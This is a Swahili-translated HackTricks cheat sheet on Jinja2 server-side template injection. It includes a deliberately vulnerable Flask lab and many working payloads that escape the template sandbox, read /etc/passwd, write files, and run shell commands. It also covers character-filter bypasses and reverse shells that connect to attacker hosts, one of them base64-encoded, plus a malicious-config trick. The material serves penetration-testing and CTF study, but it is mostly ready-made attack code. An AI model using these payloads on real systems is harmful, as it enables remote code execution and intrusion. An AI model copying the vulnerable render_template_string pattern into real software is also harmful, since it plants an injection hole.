Jinja2 SSTI

Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Lab

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"

if __name__ == "__main__":
app.run()

Misc

Kauli ya Uchunguzi

Ikiwa Kifaa cha Uchunguzi kimeanzishwa, lebo ya debug itapatikana kwa kudump muktadha wa sasa pamoja na vichungi na majaribio yanayopatikana. Hii ni muhimu kuona ni nini kinapatikana kutumia kwenye kigezo bila kuweka debugger.

<pre>

{% debug %}





</pre>

Mwaga pembejeo zote za usanidi

{{ config }} #In these object you can find all the configured env variables


{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}


Uingiliaji wa Jinja

Kwanza kabisa, katika uingiliaji wa Jinja unahitaji kupata njia ya kutoroka kutoka kwa sanduku la mchanga na kupata upya ufikiaji wa mwendelezo wa utekelezaji wa python wa kawaida. Ili kufanya hivyo, unahitaji kutumia vitu ambavyo vinatoka kwenye mazingira yasiyo ya sanduku la mchanga lakini vinapatikana kutoka kwa sanduku la mchanga.

Kupata Vitu vya Kitaifa

Kwa mfano, katika nambari render_template("hello.html", username=username, email=email) vitu vya jina la mtumiaji (username) na barua pepe (email) vinatoka kwenye mazingira ya python yasiyo ya sanduku na vitapatikana ndani ya mazingira ya sanduku. Zaidi ya hayo, kuna vitu vingine ambavyo vitakuwa vinapatikana daima kutoka kwa mazingira ya sanduku, hivi ni:

[]
''
()
dict
config
request

Kurejesha <class 'object'>

Kisha, kutoka kwa vitu hivi tunahitaji kufikia darasa: <class 'object'> ili kujaribu kurejesha darasa zilizofafanuliwa. Hii ni kwa sababu kutoka kwa kipengee hiki tunaweza kuita njia ya __subclasses__ na kufikia darasa zote kutoka kwa mazingira ya python yasiyokuwa na sanduku.

Ili kufikia darasa la kipengee hicho, unahitaji kufikia kipengee cha darasa na kisha ufikie __base__, __mro__()[-1] au .mro()[-1]. Na kisha, baada ya kufikia darasa hili la kipengee tunaita __subclasses__().

Angalia mifano hii:

# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class

# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]

# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}

{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}



# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

Kutoroka RCE

Baada ya kupata <class 'object'> na kuita __subclasses__ sasa tunaweza kutumia classes hizo kusoma na kuandika faili na kutekeleza nambari.

Wito kwa __subclasses__ umetupa fursa ya kupata mamia ya kazi mpya, tutafurahi tu kwa kupata darasa la faili ili kusoma/kuandika faili au darasa lolote lenye upatikanaji wa darasa linalo ruhusu kutekeleza amri (kama vile os).

Soma/Andika faili za mbali

# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

RCE

# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Without '{{' and '}}'

<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>

# Calling os.popen without guessing the index of the class
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}


## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}

Kujifunza kuhusu madarasa zaidi unayoweza kutumia kwa kutoroka unaweza kuangalia:

pageBypass Python sandboxes

Kupitisha vikwazo

Kupitisha kawaida

Hizi kupitisha zitaruhusu upatikanaji wa sifa za vitu bila kutumia baadhi ya herufi. Tayari tumeshaona baadhi ya hizi kupitisha katika mifano ya hapo awali, lakini hebu tuzikusanye hapa:

# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick

## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params

## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

# Using with

{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}


Kuepuka uendeshaji wa HTML

Kwa chaguo la msingi, Flask hufanya uendeshaji wa HTML kwa kila kitu ndani ya kiolesura kwa sababu za usalama:

{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;

Filteri ya safe inaruhusu sisi kuingiza JavaScript na HTML kwenye ukurasa bila kuwa HTML encoded, kama hivi:

{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>

RCE kwa kuandika faili ya usanidi mbaya.

# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

Bila wahusika kadhaa

Bila {{ . [ ] }} _

{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}


Kuingiza Jinja bila <class 'object'>

Kutoka kwa vitu vya kimataifa kuna njia nyingine ya kufikia RCE bila kutumia darasa hilo. Ikiwa utafanikiwa kufikia kazi yoyote kutoka kwa vitu hivyo vya kimataifa, utaweza kufikia __globals__.__builtins__ na kutoka hapo RCE ni rahisi sana.

Unaweza kupata kazi kutoka kwa vitu ombi, mpangilio na vitu vingine vya kimataifa vinavyovutia ambavyo unaweza kufikia na:

{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed

{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__

# You can iterate through children objects to find more

Baada ya kupata baadhi ya kazi unaweza kurejesha builtins na:

# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}

## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

# All the bypasses seen in the previous sections are also valid

Marejeo

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated